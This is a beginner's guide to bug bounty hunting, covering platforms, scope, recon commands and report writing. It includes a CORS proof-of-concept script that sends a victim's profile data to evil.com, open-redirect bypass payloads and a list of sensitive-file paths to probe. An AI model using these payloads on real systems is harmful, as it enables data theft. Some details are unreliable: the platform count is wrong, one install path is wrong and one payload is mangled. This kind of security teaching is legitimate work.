Bug Bounty Hunting for Beginners: Methodology, Platforms, and First Findings

Bug bounty hunting is one of the most accessible paths into professional security — you can start today with free tools, find real vulnerabilities in real systems, and get paid for your work. But the difference between beginners who succeed and those who quit frustrated usually comes down to methodology. This guide gives you that foundation.

How Bug Bounty Programs Work

Companies create bug bounty programs to crowdsource security testing. They define a scope (what you can test), set reward ranges, and receive your vulnerability reports. The three major platforms:

• HackerOne — largest platform, many big-name programs (Google, Twitter, Uber, GitHub), both public and private programs
• Bugcrowd — strong enterprise focus, good for beginners with taxonomy that helps classify findings
• Intigriti — Europe-focused, growing rapidly, strong community
• Synack — invite-only, highest signal-to-noise ratio, vetted researchers only
• Open Bug Bounty — free, coordinated disclosure, no cash rewards but good for practice

Start by signing up for HackerOne and Bugcrowd (both free). Browse public programs — start with companies that have high submission volumes (good signal that the program is mature) and wide scopes.

Reading Scope Documents Carefully

The scope document is the most important thing to read before testing. Every word matters:

# What to look for in scope documents:
# 1. In-scope assets (domains, subdomains, mobile apps, APIs)
# 2. Out-of-scope assets (DON'T test these — immediate program ban)
# 3. Excluded vulnerability types (e.g., "self-XSS is out of scope")
# 4. Safe harbor language (legal protection for your testing)
# 5. Reward ranges per severity

# Red flags that mean "don't test this":
# "*.example.com" — everything on that domain
# But explicitly: "mail.example.com is OUT of scope"
# Always check the explicit out-of-scope list

A common beginner mistake: testing *.example.com but missing that mail.example.com is explicitly excluded. Testing out-of-scope assets is a fast path to being banned from a program.

Recon Methodology

Thorough recon reveals attack surface that other hunters miss. More surface area = more bugs:

Subdomain Enumeration

# Passive subdomain discovery (doesn't touch target)
amass enum -passive -d example.com
subfinder -d example.com -silent
assetfinder --subs-only example.com

# Certificate transparency logs (find subdomains from certs)
curl "https://crt.sh/?q=%25.example.com&output=json" |     jq -r '.[].name_value' | sort -u

# Active DNS bruteforcing
amass enum -active -d example.com -brute -w wordlist.txt
ffuf -u "https://FUZZ.example.com" -w subdomains.txt -fs 0

# Combine and deduplicate results
cat amass.txt subfinder.txt crt.txt | sort -u > all_subdomains.txt

# Check which are alive
httpx -l all_subdomains.txt -silent -o alive_subdomains.txt

Technology Fingerprinting

# Identify technologies running on targets
whatweb https://target.example.com
wappalyzer (browser extension)
nuclei -u https://target.example.com -t technologies/

# Check response headers for framework hints
curl -I https://target.example.com | grep -i "server\|x-powered\|x-framework"

Endpoint Discovery

# Directory and endpoint bruteforcing
ffuf -u https://target.example.com/FUZZ     -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt     -mc 200,301,302,403 -fc 404

# JavaScript endpoint extraction
echo "https://target.example.com" | gau | grep "\.js$" |     while read url; do curl -s "$url" | grep -oE '"[^"]*"' | grep "/api/"; done

# Use gau/waybackurls for historical URLs
echo "example.com" | gau --threads 10 | tee gau_results.txt
waybackurls example.com | tee wayback_results.txt

Easy Wins for Beginners

Don't start by hunting for RCE. These vulnerability classes have higher hit rates for new hunters:

CORS Misconfiguration

# Test if API reflects any Origin header
curl -H "Origin: https://evil.com"     -H "Cookie: session=your_session_cookie"     https://api.target.com/user/profile -v

# Vulnerable response will include:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true

# PoC:
<script>
fetch('https://api.target.com/user/profile', {credentials:'include'})
    .then(r => r.json())
    .then(d => fetch('https://evil.com/steal?data=' + JSON.stringify(d)));
</script>

Open Redirect

# Look for redirect parameters
?redirect=https://evil.com
?next=/evil.com
?url=//evil.com
?return_to=javascript:alert(1)

# Filter bypass attempts
?redirect=https://[email protected]
?redirect=//evil.com/%2F..
?redirect=https://trusted.com.evil.com

Information Disclosure

# Exposed configuration and debug files
/.env, /config.json, /config.yml, /application.properties
/.git/config, /.git/HEAD

# Error messages revealing internals
# Trigger errors: SQL errors, stack traces, path disclosures

# Backup files
/index.php.bak, /login.php~, /config.php.old

# API documentation
/api/docs, /swagger.json, /openapi.json, /graphql (introspection)

# Test all API endpoints found in swagger for auth bypass:
# Try endpoints without authentication header

Escalating Self-XSS

Self-XSS (XSS you can only trigger against yourself) is usually out of scope, but you can escalate it:

• Combine with CSRF — make a victim perform the action that triggers XSS
• Combine with clickjacking — embed in an iframe and trick the user into interacting
• Find a way to make another user see your content (shared profiles, shared documents)

Writing Quality Vulnerability Reports

A great report gets triaged quickly and paid at the correct severity. Structure:

# Report Template:

## Vulnerability Title
[CVSS Score] Cross-Origin Resource Sharing Misconfiguration in api.example.com

## Summary
The API endpoint api.example.com/v1/user/profile reflects any Origin header
with Access-Control-Allow-Credentials: true, allowing a malicious website to
read authenticated user data by using the victim's session cookies.

## CVSS Score
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N (Score: 7.4)

## Steps to Reproduce
1. Log into your account at app.example.com
2. Visit the following PoC URL while authenticated: https://attacker.com/cors-poc.html
3. Click "Read my data"
4. Observe your personal profile data exfiltrated to the attacker's server

## Impact
An attacker can steal the authenticated session data of any user who visits
a malicious link. This includes [list specific sensitive fields exposed].

## Proof of Concept
[Attach screenshots or video]

PoC HTML (hosted at https://attacker.com/cors-poc.html):
<script>
fetch('https://api.example.com/v1/user/profile', {credentials: 'include'})
    .then(r => r.json())
    .then(d => document.body.innerHTML = JSON.stringify(d));
</script>

## Remediation
Restrict the Access-Control-Allow-Origin header to explicitly allowlisted
origins. Do not reflect the request's Origin header dynamically when
Access-Control-Allow-Credentials is true.

Tools Setup for Beginners

# Essential toolkit (all free):
# Burp Suite Community Edition — proxy, repeater, scanner
# amass — subdomain enumeration
# ffuf — directory and parameter fuzzing
# httpx — probe URLs for status codes
# nuclei — automated template-based scanning
# gau — historical URL fetching
# subfinder — passive subdomain discovery

# Install on Kali/Ubuntu:
sudo apt install amass
go install github.com/projectdiscovery/ffuf/v2/cmd/ffuf@latest
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
go install github.com/lc/gau/v2/cmd/gau@latest
go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest

When you find a vulnerability, use the Mobile Security Generator for mobile app bugs, or the Active Directory Generator if the target has an Active Directory component. For hash-related findings, the Hash Cracking Tool helps identify and crack exposed password hashes.

Handling Duplicates and Common Beginner Mistakes

• Duplicates are normal — don't get discouraged; it means you're finding real bugs. Focus on finding bugs faster or finding unique attack surfaces
• Informative is not a reward — "Informative" means it's a real issue but too low impact for a reward. Use it to understand the program's severity bar
• Don't test out-of-scope — read the scope document twice before testing anything
• Don't automate aggressively — running high-rate scanners can trigger DoS conditions and get you banned
• Prove impact in your report — a vulnerability without a clear PoC demonstrating real impact often gets marked as informative or NA
• Read disclosed reports — HackerOne's Hacktivity shows disclosed reports from other researchers. These are goldmines for learning techniques and finding similar bugs on other targets

Building Your Bug Bounty Reputation

1. Start with programs that have clear scope and active triage (response under 7 days)
2. Focus on one target for 2-4 weeks — depth beats breadth for beginners
3. Document your methodology in notes so you can repeat what worked
4. Join bug bounty communities (Discord servers, Twitter/X, r/netsec) to learn from others
5. Submit even low-severity bugs at first — the feedback teaches you what the program values